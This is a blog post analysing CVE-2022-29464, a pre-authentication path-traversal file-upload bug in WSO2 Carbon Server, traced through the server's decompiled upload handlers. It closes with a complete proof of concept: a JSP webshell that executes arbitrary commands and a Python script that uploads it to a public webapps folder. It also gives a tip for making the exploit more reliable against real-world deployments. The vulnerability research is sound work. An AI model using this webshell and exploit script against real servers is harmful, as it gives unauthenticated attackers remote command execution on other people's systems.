Skip to the content.
22 April 2022

WSO2 Carbon Server: Pre-auth RCE bug ( CVE-2022-29464)

by Quang Vo

Introduction

CVE-2022-29464 is a simple and critical vulnerability reported by Orange Tsai, the vulnerability is a pre-auth abitrary file upload that allow attackers to upload JSP file to server and gain RCE.

Code review

1. Recon codebase

Based on the security advisories, we know that the vulnerability is related to FileUpload function. First, we map all unauth endpoints in the codebase:

identity.xml image

Grepping for all the routes, url mappings so we can have a better idea of /fileupload endpoint is handle by which controllers:

grep -anril '<servlet-mapping>'
grep -anril '<mapping '

Looking through all the results that came back, one of the xml file that stand out is carbon.xml, the name matched what WSO2 server is called - Carbon server, which indicates us that there are some important stuffs in that xml file

repository/conf/carbon.xml

 <FileUploadConfig>
        <!--
           The total file upload size limit in MB
        -->
        <TotalFileSizeLimit>100</TotalFileSizeLimit>

        <Mapping>
            <Actions>
                <Action>keystore</Action>
                <Action>certificate</Action>
                <Action>*</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor</Class>
        </Mapping>

        <Mapping>
            <Actions>
                <Action>jarZip</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.JarZipUploadExecutor</Class>
        </Mapping>
        <Mapping>
            <Actions>
                <Action>dbs</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.DBSFileUploadExecutor</Class>
        </Mapping>
        <Mapping>
            <Actions>
                <Action>tools</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.ToolsFileUploadExecutor</Class>
        </Mapping>
        <Mapping>
            <Actions>
                <Action>toolsAny</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class>
        </Mapping>
    </FileUploadConfig>

2. Decompile codebase and review code

To gather all the jar files and decompile them at once, I used this simple command:

find . -type f -name "*.jar" | xargs -n 1 -P 20 -I {} mv {} wso2-decompiled/

This will gather all the jar files, and then move it to folder wso2-decompiled , then after that, we can throw them all in IntelliJ and let it decompile for us.

Content of module: org.wso2.carbon.ui.transport.fileupload

image

The FileUploadServlet with init() function

image

In init() function, FileUploadExecutorManager was initialized, this class is in charge of handling different types of file uploading

Later, in /fileupload route, it handles 2 http methods: GET & POST

image

When a POST request is sent, this.fileUploadExecuteManager.execute() will be executed, content of execute() method:

image

Let’s walkthrough what execute() method do:

startExec() calls execute() of the objects was added to execHandlerManager, which is CarbonXmlFileUploadExecHandler

image

execute() will loop through the Hashmap of {"actionString": "classHandle"} to find the corresponsding class of each actionString, in here, we want to invoke toolsAny ‘s handling class because that’s where our bug is ( I was manually try each actionString and review code of each action handling class to find the bug ) , so our mapping will be:

toolsAny -> ToolAnyFileUploadExecutor

If a corresponding mapping of action class is found for the actionString input, foundExecutor variable will be set to true and we will get to obj.executeGeneric() method.

image

In executeGeneric() method, the first call to this.parseRequest(request) will ensures that the request’s content-type is multipart form and check if the file size exceeded maximum size allowed.

The second calls to this.execute(request,response) is where we need to focus to, because it will leads us to the action handling class ToolsAnyFileUploadExecutor.execute()

content of ToolsAnyFileUploadExecutor.execute()

image

ToolsAnyFileUploadExecutor.execute() method writes the uploaded file to /tmp folder in the webserver path and stores that path to serviceUploadDir variable

 File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
 FileOutputStream fileOutStream = new FileOutputStream(uploadedFile);

And then it appened the fileName of our uploaded file to serviceUploadDir => This is where our Path Traversal bug lies, the web server takes untrusted user input without any sanitization, this allowed us to escape the /tmp folder and write to any where that we want, hence we have Unauth Arbitrary Write File on webserver

ex:

serviceUploadDir = '/tmp/extra/${time_mili}
fileName = '../../../<any_folder>

=> uploadedFile = /tmp/extra/${time_mili}/../../../<any_folder>

3. Escalate arbitrary write file to RCE

Now that we have Unauth Arbitrary write file, the next question popped up in our mind is how do we escalate this to RCE ?. To answer this question, we have to go back to what we know about the codebase and answer a few more questions:

What to write ? image

We know that our web application serves JSP files at ./repository/deployment/servers/... , so that means we can write a JSP webshell to webapps/ folder to achieve RCE

Where to write ?

Now we need to find a folder to write to, that any user can access without any authentication needed to achieve maximum severity.

This is easy, the common thinking process will be go in the codebase and find any folder that serves JSP files like login.jsp, index.jsp because those are the landing pages of a web application, here I choose user-portal folder

The path to write to will be: ./repository/deployment/server/webapps/user-portal

Proof-of-concept

JSP webshell:

<%@ page import="java.util.*,java.io.*"%>

<html>
<body>
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
        if (request.getParameter("cmd") != null ) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Runtime rt = Runtime.getRuntime();
            Process p = rt.exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
            }
        }
    %>
    </pre>
</body>
</html> 

Python exploit script:

from ast import arg
import requests
import argparse


def main():
    parser = argparse.ArgumentParser(description="WSO2 Carbon Server CVE-2022-29464")
    parser.add_argument("-u", help="WSO2 Carbon Server URL", required=True)
    args = parser.parse_args()
    endpoint_url = args.u
    jsp_file = open("./poc.jsp", "rb")
    resp = requests.post(f"{endpoint_url}/fileupload/toolsAny", verify=False, files={"../../../../repository/deployment/server/webapps/user-portal/cmd.jsp": jsp_file.read()})
    print (resp.status_code)
    print (resp.content)
    if resp.status_code == 200 and len(resp.content) > 0:
        print (f"Successfully exploited, webshell is hosted: {endpoint_url}/user-portal/cmd.jsp")
        exit(0)

if "__main__" == __name__:
    main()

poc image image

Later, after trying to exploit a few real-world application, I find out that user-portal endpoint is not always accessible, the more reliable way to exploit will be authenticationendpoint, if you want more certainty in your exploit payload, change the filename to : ../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp

tags: 0day, - cve-2022-29464